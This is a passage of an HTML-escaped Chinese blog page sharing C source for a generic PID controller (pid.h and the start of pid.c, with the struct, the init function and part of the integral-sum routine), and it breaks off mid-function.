class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"相关代码分享\"\u003e相关代码分享\u003c/h2\u003e\n\u003ch3 id=\"pid\"\u003epid\u003c/h3\u003e\n\u003cp\u003e由某物院实验室佬手写\u003c/p\u003e\n\u003cp\u003epid.h\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#ifndef __PID_H_\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define __PID_H_\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define MAX_LEN 15\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eKP\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eKI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eKD\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_I\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eLEN\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eis_first\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 解决D的首次误差减去0得到一个不正常的D值问题\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID_init\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ekp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eki\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ekd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emax_i\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003etar\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ecur\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#endif\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003epid.c\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 74\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 75\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 76\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 77\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 78\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 79\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 80\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 81\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 82\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 83\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 84\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 85\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 86\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 87\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 88\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 89\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 90\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 91\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 92\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 93\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 94\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 95\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 96\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 97\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 98\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 99\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e100\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e101\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e102\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e103\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e104\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e105\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e106\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e107\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e108\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e109\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e110\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e111\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @file PID\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @author zl (2293721550@qq.com)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief 一个通用的PID函数,该PID接收返回数据全部为float类型\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * 使用时先构造PID_struct类型的结构体,再调用PID_init()函数初始化结构体,最后调用PID()函数得到PID的返回值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @version 0.1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @date 2023-08-24\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @copyright Copyright (c) 2023\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;pid.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief 初始化PID结构体\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param pid_struct 想要初始化的PID结构体指针\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param kp P项比例系数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param ki I项比例系数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param kd D项比例系数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param len I积分项长度(不能超过MAX_LEN的设定值)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param max_i I项最大输出量,防止出现积分量过大导致的过冲\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID_init\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ekp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eki\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ekd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emax_i\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ekp\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eki\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ekd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLEN\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_I\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003emax_i\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eis_first\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief 求出积分项值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param pid_struct 想要处理的PID结构体指针\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @return float\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"nf\"\u003eerr_sum\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 获取I值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ebuf\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan 